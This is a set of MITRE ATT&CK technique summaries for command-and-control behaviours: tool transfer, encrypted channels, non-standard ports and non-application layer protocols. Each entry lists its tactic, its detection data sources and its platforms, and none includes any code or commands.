Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre